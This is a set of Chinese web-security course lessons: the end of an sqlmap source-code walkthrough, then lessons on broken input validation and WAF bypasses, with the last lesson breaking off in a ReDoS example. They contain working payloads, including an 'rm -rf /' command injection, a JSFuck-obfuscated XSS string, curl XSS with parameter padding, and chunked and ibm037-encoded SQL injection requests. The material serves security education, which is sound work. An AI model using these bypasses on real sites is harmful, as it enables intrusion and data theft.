debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg)
continue
# ...
# 根据指定的数据库以及用户的配置信息对payload进行筛选。
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = "skipping test '%s' because user " % title
debugMsg += "specified testing of only "
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg)
continue
# ...
# 对payload去重。
if fstPayload:
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
sqlmap准备完payload之后就到了你最期待的注入测试环节这个过程和我们手动测试类似系统会使用不同的注入测试方法包括布尔注入、报错注入、时延注入以及联合注入。
# 布尔注入
if method == PAYLOAD.METHOD.COMPARISON:
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# ...
# 报错注入
elif method == PAYLOAD.METHOD.GREP:
try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
# ...
# 时延注入
elif method == PAYLOAD.METHOD.TIME:
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
trueCode = threadData.lastCode
# ...
# 联合注入
elif method == PAYLOAD.METHOD.UNION:
configUnion(test.request.char, test.request.columns)
做完这些注入测试后系统会收到响应。我们平时会通过观察响应来判断注入是否成功但是系统要如何判断呢聪明的你或许想到了这就是之前我们学习的页面相似度我们在学习sqlmap判断waf时就用到了它。其实根据注入方式的不同sqlmap对于注入结果的判断方式也是不同的。
在报错注入中,系统会通过对页面的响应结果进行正则匹配,判断响应中是否有报错信息,如果有就判断注入成功,否则判断注入失败。
# 报错注入判断注入是否成功。
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
# ...
injectable = True
在布尔注入中,系统会判断返回页面的相似度,如果结果为假,那么说明系统会根据错误结果进行不同的响应,这就意味着布尔注入是成功的。
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
if not falseResult:
# ...
injectable = True
在时延注入中sqlmap会发送sleep([random])的请求,判断请求时间是否大于“平均时间+7*标准差”,注意这里的标准差是一个时间阈值,如果大于就认为存在时延注入。
if trueResult:
if SLEEP_TIME_MARKER in reqPayload:
falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False)
if falseResult:
continue
# ...
injectable = True
在联合注入中系统会通过unionTest函数来判断联合注入是否存在。它的实现原理比较复杂我们可以将它简化一下只需要比较联合注入得到的响应和原本内容是否一致就可以做出判断如果不一致则说明存在联合注入问题。
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, six.string_types):
infoMsg = "%sparameter '%s' is '%s' injectable" % ("%s " % paramType if paramType != parameter else "", parameter, title)
logger.info(infoMsg)
injectable = True
最后系统将结果记录下来并且输出给使用者这就是我们在使用sqlmap时看到的结果信息。
至此经过四讲的学习我们终于学完了这款自动化注入测试神器希望你可以了解sqlmap的底层原理从而更好的使用这款工具。
总结
在这节课里我们深入研究了sqlmap的真正SQL注入过程。为了你能更好的理解我们主要通过观察它的源代码对它进行学习。
在这个过程中我们首先学习了sqlmap对于注入点的检测其中包括了动态参数的检测以及启发式注入测试。在实际注入测试的过程中我们只会对通过检测的参数进行注入的探测。通过这个过程筛选参数可以提高sqlmap的运行效率。
最后我们进入到最重要的一步中即真正的注入测试我们了解了它的测试过程。其中有payload的配置、对目标数据库信息的探测、筛选合适的payload以及实际的注入测试过程。完成测试系统会根据页面相似度来判断注入结果而对于不同的注入方式sqlmap的判断方式也是不同的。我们将联合注入、报错注入、时延注入以及布尔注入的判断方法一一展开对它们分别进行了介绍。
截止到目前你已经完成了对SQL注入原理、攻击方式、防御方案以及自动化注入工具sqlmap的学习结合对sqlmap原理的学习快去自己尝试一下自动化注入的威力吧
思考
sqlmap在实现中有什么值得改进的地方吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,229 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
19 失效的输入检测(上):攻击者有哪些绕过方案?
你好,我是王昊天。今天我们来学习失效的输入检测,看看攻击者有哪些绕过方案。
在现实生活中,我们在乘坐一些交通工具时,需要经过安检,以防止有人携带危险物品,避免一些危害公众安全的行为。但是这种安全检查也不是万能的,比如进地铁站的时候不会检查我们衣服口袋里的物品。
对于一个交互的系统来说,同样也需要对输入进行安全检查,也同样很难做到万无一失。
交互系统的输入,可能来自用户的输入或者其他系统的传递。在系统获得预期内的输入信息之后,就会将它们当作参数,运行相应的命令来实现自己想要的功能。那么问题来了,如果忽略了对输入的验证或者验证得不够充分,在攻击者的恶意操作下,系统就会接收到预期之外的数据,进而随着命令的运行就让攻击者实现了自己想要的目标,进而产生难以想象的后果。
这,其实就是失效的输入检测。
根据检测技术的不同失效的输入检测可以分为6种它们分别是不安全的输入检查、中间件的输入输出、不安全的映射、编码及转义、编码及混淆、WAF及绕过。
在接下来的2讲内容中我会带你学习这6种常见的失效输入检测是如何产生的以及应该如何应对。
不安全的输入检查
不安全的输入检查产生的原因,其实很好理解,就是当一个产品需要接收数据的输入时,却没有正确地对这些输入进行验证。
为了抵御这个问题,解决方案也比较简单,开发者只需要对一些输入数据进行安全性验证就可以。但其中的难点在于,如果安全性验证不够充分,攻击者就可以将输入构造成安全人员意料之外的形式,导致系统接收到意料之外的恶意输入。
这是非常危险的,因为攻击者甚至可以借此实现任意命令的执行。
我们来看一个关于消费行为的例子:
public static final double price = 20.00;
# 用户可以自由指定购买商品的数量
int quantity = currentUser.getAttribute(“quantity”);
# 计算总价
double total = price * quantity;
chargeUser(total);
在这段代码中,商品单价的值用户是无法修改的,但没有对购买数量的值进行限制。这时候,如果攻击者提供一个负值,那么他就不用进行消费,反而还能获得相应的收入。
接下来,我们开始学习失效的输入检测的第二种情况:中间件的输入输出。
中间件的输入输出
通常情况下,一个系统会由多个组件构成。上游组件在接收到外部输入后,会将它传给中间件来构建部分命令、数据结构或记录,然后就将它们发送给下游组件。
需要注意的是,中间件并不能正确地处理这些输入中的特殊元素。这种失效的输入检测问题,就是中间件的输入输出问题。
我们直接看个例子。
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat";
strcat(cmd, argv[1]);
system(cmd);
}
如果这个程序是以root权限运行的那么对system()的调用也会以root权限执行。如果用户传入的参数是标准的文件名那么调用会按预期工作。
但是,如果攻击者传递了一个恶意输入,比如一个; rm -rf /形式的字符串那么对system()的调用也会因为缺少参数而无法执行cat命令从而运行恶意命令递归删除根分区的内容。
这个示例就是中间件没有对用户传入的恶意输入进行处理导致的。首先,在输入检查就存在问题,导致该输入没有被拦截。其次,中间件没有对这部分信息进行过滤处理,直接将接收到的恶意参数当成了命令来执行,造成了严重的后果。
到这里,我们已经学习了两种最直接的失效的输入检测风险类型,接下来我们再来学习一种更加隐蔽的风险种类,也就是不安全的映射。
不安全的映射
不安全的映射发生的场景是:当应用程序需要使用带有映射的外部输入来选择要执行的代码时,却没有充分验证这些外部输入是否合法,这时候攻击者就可以将恶意文件上传到应用会执行的位置。
这对于应用来说是毁灭性的漏洞,非常危险。我们再通过一个例子,来理解下这种漏洞是怎么产生的吧。
下面这个例子,显示了一个不使用映射的命令调度程序,它的代码书写方式看起来并不十分优雅:
String ctl = request.getParameter(“ctl”);
Worker ao = null;
// 判断是否ctl参数中是Add字符串
if (ctl.equals("Add"))
{
ao = new AddCommand();
}
// 判断是否ctl参数中是Modify字符串
else if (ctl.equals("Modify"))
{
ao = new ModifyCommand();
}
else {
throw new UnknownActionError();
}
ao.doAction(request);
我们品味一番,可以发现上述代码写得属实不够优雅,而优秀的开发人员可能会使用映射的方式来进行代码重构,如下所示:
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker)cmdClass.newInstance();
ao.doAction(request);
重构后的这段代码确实提供了许多优势代码更加简洁了if/else块也消失了在不修改命令调度程序的情况下也可以添加新的命令类型。
但是重构后的代码有个漏洞。攻击者可以先利用Worker接口创建一个类然后使用它们。这里创建的类是没有限制的它是由攻击者控制的参数ctl所决定。攻击者可以利用创建的这个类去执行恶意命令。
编码及转义
软件为了与另一个组件通信,会准备要发送的消息。它的结构需要符合通信协议的要求,如果数据的编码或转义过程中发生丢失或者执行错误,就可能会导致消息的结构发生变化。
不正确的编码或转义,可能允许攻击者将发送的正常命令更改为恶意命令。大多数软件都会遵循双方规定的协议进行通信。通信消息可以为带有控制信息的原始数据。
这么说有些抽象,我们看一个具体的示例:
“GET/index.html HTTP/1.1”是一个结构化消息其中包含一个命令“GET”和一个参数“/index.html”和有关正在使用的协议版本“HTTP/1.1”)。
如果应用程序使用攻击者提供的输入来构建结构化消息,而没有正确编码或转义,那么攻击者就可以在这条消息中插入特殊字符,导致数据被解释为控制信息。因此,接收输出的组件,就将会执行错误的操作。
我们再通过一个示例,来看看涉及编码及转义的攻击方式是如何发生的。
现在有这么一个聊天应用程序它的前端Web应用程序与后端服务器之间要进行通信。因为后端是不执行身份验证或授权的遗留代码所以我们必须在前端必须实现这个功能。聊天协议规定只支持两个命令SAY和BAN而且BAN命令只有管理员才可以使用。每个参数必须由一个空格分隔原始输入经过URL编码消息协议允许在一行中执行多个以分隔的命令。
我们先看后端的代码:
$inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
# separate the operator from its arguments based on a single whitespace
($operator, $args) = split(/ /, $cmd, 2);
$args = UrlDecode($args);
if ($operator eq "BAN") {
ExecuteBan($args);
}
else if ($operator eq "SAY") {
ExecuteSay($args);
}
}
前端Web应用程序接收命令后对其进行编码然后发送到权限查看服务器执行授权的检查然后再将命令发送给后端。
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
/# removes extra whitespace and also changes CRLF's to spaces/
$argstr =~ s/\s+/ /gs;
$argstr = UrlEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
die "Error: you are not the admin.\n";
}
/# communicate with file server using a file handle/
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
我们可以发现一个很明显的问题虽然协议和后端都允许在一个请求中发送多个命令但前端只打算发送一个命令。可是UrlEncode函数可能会留下字符。
也就是说如果攻击者提供SAY hello world|BAN user12前端会看到这是一个SAY命令$argstr 就为hello world | BAN user12。由于命令是SAY对BAN命令的检查会失败。前端会向后端发送URL编码的命令
SAY hello%20world|BAN%20user12
后端就会把这个解析为如下两条命令来运行:
SAY hello world
BAN user12
但是请注意,如果前端使用正确的编码将| 编码为%7C ,那么后端将只处理一个命令。
这就是一个典型的编码错误导致的输入验证失效的例子。
编码及混淆
除了编码及转义,攻击者还可以通过编码混淆攻击来逃避输入的检查,为攻击区注入有害负载。这种攻击方式,就叫做编码及混淆。
客户端和服务器会使用各种不同的编码在系统之间传递数据,而当它们想要使用数据时就需要首先对其进行解码。
在构建攻击时,我们需要考虑有害负载的注入位置。如果可以根据关联环境推断出输入是如何被解码的,那么我们就可以知道,要用什么方式对有害负载进行编码。
在URL中有一系列具有特殊含义的保留字符。例如&用作分隔符它可以分隔查询字符串中的参数。基于URL的输入可能包含这些字符比如用户搜索Fish & Chips之类的内容会发生什么呢
浏览器会自动对任何可能导致解析器歧义的字符进行URL编码。这意味着用%字符和它们的二位十六进制代码替换它们,成为这样[…]/?search=Fish+%26+Chips来确保& 不会被误认为是分隔符。
任何基于URL的输入在分配给相关变量之前都会在服务器端自动进行URL解码。这意味着就大多数服务器而言查询参数中的%22、%3D和%3E等序列分别与“、<>字符同义。也就是说我们可以通过URL注入URL编码的数据它通常仍会被后端应用程序正确解释。
有时我们可能会发现WAF等在检查你的输入时无法正确地对你的输入进行 URL解码。在这种情况下我们只需对列入黑名单的任何字符或单词进行编码就可以将有害负载绕过检测发送给后端应用程序实现攻击行为。
在XSS注入中我们经常会需要输入进行攻击但是往往输入检测会将它拦截使得我们无法成功攻击这时我们就可以对它进行编码混淆将它改为
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()(([]+[])[(![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(![]]+[][[]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+([]+[])[(![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]])
利用这个方法,我们可以绕过很多的输入检测。
总结
好了,今天的主要内容就到这里,我们一起小结下。
今天这节课我们一起学习了不安全的输入检查、中间件的输入输出、不安全的映射、编码及转义、编码及混淆这5种失效的输入检测是如何产生的。
不安全的输入检查,主要就是应用没有正确地过滤用户的输入,使得攻击者使用精心设计的恶意输入,成功实现对系统的攻击。
中间件的输入输出问题,是因为应用的中间组件在接收到其他组件的输入数据时,没有正确地对这个输入进行过滤所导致的问题。它的危害性极大,攻击者可以凭此实现任意命令的执行。
不安全的映射,发生在应用程序需要执行外部文件,而这个外部文件可以由攻击者上传的情况下。这主要是因为,应用程序没有对这个外部文件进行足够的限制所导致的。
对于编码及转义、编码及混淆这两个问题,它们都是编码相关的问题,区别在于:编码及转义问题,主要是因为系统没有对特殊字符做转义处理,使得攻击者可以借助这些特殊字符实现攻击行为;而编码及混淆问题,主要是系统只对一些危险的字符串进行了限制,却没有对这些字符对应的混淆编码进行拦截,导致攻击者可以凭借将恶意输入进行混淆,从而实现恶意输入的上传。
我把这些重点信息也提炼到一张思维导图中,你可以保存下来,方便复习:
在下一讲中我会和你一起学习失效的输入检测中最复杂的一部分WAF检测以及如何让自己的应用避免失效的输入检测问题的发生。
思考
学完这一讲,请你思考下,失效的输入检测问题的核心到底是什么呢?你能想到什么好办法解决这一类问题吗?
欢迎在评论区留下你的思考。如果你觉得今天的内容对你有所帮助的话,欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,345 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
20 失效的输入检测(下):攻击者有哪些绕过方案?
你好,我是王昊天。今天我们继续来学习失效的输入检测相关的内容。
WAF这个词相信你或多或少听说过也可能会学习过绕WAF知识的分享。不过WAF及绕过确实是失效的输入检测中比较复杂的一种所以我身边很多朋友和我反馈还是不太明白WAF到底是什么意思又如何去绕WAF。
今天我们就重点学习下这个问题吧。
WAF及绕过
WAF的全称是Web应用防火墙是Web Application Firewall的缩写是网站常用来保护Web应用安全的一种安全产品。
WAF的主要功能是通过检测客户端的请求内容拦截具有潜在危险性的请求以有效防御一些常见的针对 Web 应用的攻击比如SQL注入、XSS等。所以现在的中、大型网站基本都部署了WAF产品。
对于一名渗透测试人员来说,如果没有掌握 WAF 的基本绕过方法在渗透测试过程中就会举步维艰。下面我们一起看看怎么进行WAF绕过。
我整理了下WAF绕过的9种常见方式如下图所示。掌握了这9种绕过方式你基本也就能应对大部分WAF绕过问题了。
HTTP参数污染
我们先看HTTP参数污染。HTTP协议允许同名参数存在如果WAF对同名参数的处理方式不当就会造成参数污染。
假设提交的参数为id=1&id=2&id=3WAF有可能会把id解析为1而后端的解析结果可能是3。这时候攻击者只需要把攻击内容放在第3个参数就能绕过WAF的检测。
这种绕过方法非常经典不过因为WAF的更新维护这个方法现在已经基本行不通了。但我们还是可以从这个例子学习绕过的思路。
具体到各个服务器对参数的解释方法,我放在了一张图中。这张图你不需要特别记住每个参数,具体用到的时候再查阅即可。
接下来我们开始学习另一个绕过WAF的方法HTTP Header欺骗看看它是怎么发生的。
HTTP Header欺骗
有时候WAF会根据内置的白名单策略放行特定来源的请求包例如来源本地IP地址。如果我们利用burpsuite来修改HTTP请求包头部中的请求地址为127.0.0.1实现伪造地址为应用的本地地址就可以实现绕过WAF。
下面我们会学习和参数污染相类似的一个绕WAF的方法。
HTTP 参数溢出
出于对性能的考虑对参数非常多的请求一些WAF只会检测其中一部分比如前100个参数。这种情况下攻击者可以制造大量的无关参数用来“占位”把真正的恶意参数放在后面。
WAF检测完前面一部分参数后没有发现问题就放行了这个请求。这时候攻击者就成功绕过了WAF的检测把恶意参数带入了后端。
同样是出于对性能的考虑一些WAF对于超长的数据包也会跳过。对于攻击者来说他们可以构造超长的数据包来绕过WAF的检测。
我们看个具体的例子。
我们对某网站先请求一个POST的XSS Payload被拦截。
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' xxx.com
之后通过Fuzz发现当增加参数个数达到一定的量例如100个之后带着XSS Payload就不会被拦截了并且网站可以正常访问。
curl -v -d 'a1=1&a2=2&......&a100=<img src=x onerror=alert(/xss/)>' xxx.com
在这个示例中攻击者可以通过增加参数个数实现绕过WAF。理解了HTTP参数溢出问题之后我们进入到对HTTP分块传输绕WAF的学习中。
HTTP 分块传输
分块传输是一种传输编码,是把报文分割成若干个大小已知的“块”进行传输。
我们可以利用burpsuite将请求报文中的Transfer-Encoding字段指定为chunked值来声明采用分块传输。这样就可以把一个完整的攻击数据分割成若干份WAF由于无法匹配到完整的攻击特征值因此就可能会被绕过。
几乎所有可以识别Transfer-Encoding数据包的WAF都没有处理分块数据包中长度标识处的注释。这就意味着如果在分块数据包中加入注释的话WAF识别不出这个数据包。
我们看个具体的例子。
<?php
header("Content-Type: text/html;charset=utf-8");
$id = $_REQUEST["id"];
if ($id){
echo $id;
}
?>
这段代码是我们测试用的网页代码我们先用GET方式上传参数将id设置为
1 and 1=1
获取到的响应如下:
根据响应我们可以发现这个payload被WAF拦截这时候我们利用分块传输来进行绕过
POST /xxxxxx.php HTTP/1.1
......
Transfer-Encoding: Chunked
1;
i
d
=1
5
a
6
nd
2
1=1
0
获取到的响应为:
可以看到页面输出1这个payload已经不再被拦截了。
好了我们继续学习对HTTP数据编码绕WAF的方式。
HTTP 数据编码
我们可以利用burpsuite实现修改报文头Content-Type从而指定一个特殊编码例如ibm037、ibm500、cp875和ibm1026等不常见的编码就可能使服务器可以正常解析但WAF无法解析请求包内容继而实现绕过WAF的检测。
我们看一个具体的示例,来加深理解。
#这是未经特殊编码的原始请求
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2=union all select * from users—
#经过ibm037编码我们可以将它转化为下面的请求从而绕过WAF
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
在这个示例中我们指定了编码方式为ibm037由于WAF无法解析成功导致拦截失败。这就是WAF通过HTTP数据编码来实现绕过WAF的方式。
HTTP 协议未覆盖
HTTP协议覆盖问题引发的WAF绕过方式其发生原因是我们可以修改参数提交方式导致WAF使用错误的方式检测请求内容从而绕过WAF的检测。
我们先回顾下4种常见的Content-Type类型text/html、application/json、application/x-www-form-urlencoded以及multipart/form-data。利用协议未覆盖来绕过其实就是尝试替换Content-Type来绕过WAF过滤机制。
有的WAF未覆盖协议form-data或是检测到form-data以后只当作文件上传来检测。但是form-data不仅能支持文件上传还能支持传键值对所以在x-www-form-urlencoded下被拦截的数据包能通过将Content-Type改为form-data的方法绕过一部分的WAF。
HTTP 畸形包
我们继续看看HTTP畸形包问题。
当前的 HTTP 服务依据的是RFC2616标准通常有以下8种方法OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT的HTTP请求。
但是当向Web服务器发送畸形请求非标准的 HTTP 数据包)时, Web 服务器出于兼容性考虑会尽力解析这些畸形的数据包而WAF处理这种畸形包时就可能不拦截。其实在HTTP管道化的绕过中我们也用到了它来绕过。
HTTP 管道化
通过HTTP管道化的方式绕过WAF的原理是HTTP管道化允许多个HTTP请求通过一个套接字同时被输出而不用等待相应的响应。请求者会等待各自的响应这些响应是按照之前的请求顺序依次到达。因为多个请求可被同时传送如果WAF只检测第一个请求而忽略了后面的请求就可以被绕过。
利用这个方法绕过WAF的步骤是
先把HTTP协议的Connection字段设置为keep-alive
之后把Content-Length设置为想要的值来隐藏后面的威胁信息-
例如原HTTP数据包为a=1我们将Content-Length设置为3然后用畸形包a=1GET XXX HTTP/1.1到此不换行再换行跟上Host和Connection等信息使得GET XXX HTTP/1.1达到绕过WAF检查的效果。
以上就是8种常见的WAF及绕过了。这8种方式不一定要独立使用还可以进行灵活组合形成HTTP组合绕过方式实现WAF的绕过。而且这样成功绕过的概率也会提高。
HTTP 组合绕过
其实组合绕过的核心思想就是运用WAF和服务端的协议解析差异使得服务端能够解析我们的消息而WAF无法解析所以跳过检测。
以上就是WAF及绕过的9种常见方式了至此我们也就把失效的输入检测的6种方式学完了。
掌握了失效的输入检测原理及产生原因后,我们再通过两个实战案例夯实下这部分基础。
两个案例带你深入理解失效的输入检测
案例一:因为正则表达式算法触发失效的输入检测的示例
正则表达式可以方便我们做字符串搜索及匹配,但是错误的使用方式也会导致易受外部攻击。我要展开的这个案例,就是一种拒绝服务攻击,它利用了正则表达式的一种特性:正则表达式本身会进行较为复杂的判断,如果触发极端情况就会让程序运行变得很慢。攻击者可以故意让程序使用正则表达式,来触发这种极端情况,并且让程序等待很久。
我们先来看下这种极端情况是如何产生的。
这种极端情况来源于有问题的正则算法。这样的算法构建了一个非确定性的有限自动状态机NFA既然它是一个有限状态机那对于每对状态和输入符号可能都有多个下一个状态。然后引擎开始进行转换直到输入结束。
由于存在多种可能的下一个状态,导致算法一一尝试所有可能的路径,直到找到匹配项,或者尝试所有路径但都失败。我们看一个例子。
正则表达式 ^(a+)+$ 可以由以下NFA表示
当输入为aaaaX时在上图中就有16种可能的路径例如1->2->3->3->3。这就是其中之一由于该路径匹配结果为aaaaa与aaaaX不一致所以匹配失败。然后继续匹配下一条路径因为该输入无法匹配成功所以最终需要遍历到所有的可能路径。对应到该输入需要匹配所有的16条路径。
对于输入为aaaaX来说这个输入遍历的路径还不是很多但是当输入为aaaaaaaaaaaaaaaaX时一共有65536条可能的路径需要遍历的路径就变得非常多了。
这个问题,是由一个叫做回溯的正则表达式引擎功能引发的。当输入不匹配时,引擎会返回到之前的位置,在那里重新采取不同的路径,直到探索完所有可能的路径为止。
在我看来,这是因为正则表达式算法不成熟导致的。实际上正则表达式算法可以改得更高效,来避免这种问题的发生,但不幸的是出于某些原因,大多数正则表达式都会使用更简单的算法。
接下来,我们看一个攻击案例,引起正则表达式遍历问题的代码如下:
if (preg_match("/(a+)+b$/",$pass)) {
/* store first result set */
echo "match success";
}
else {
echo "match failure";
}
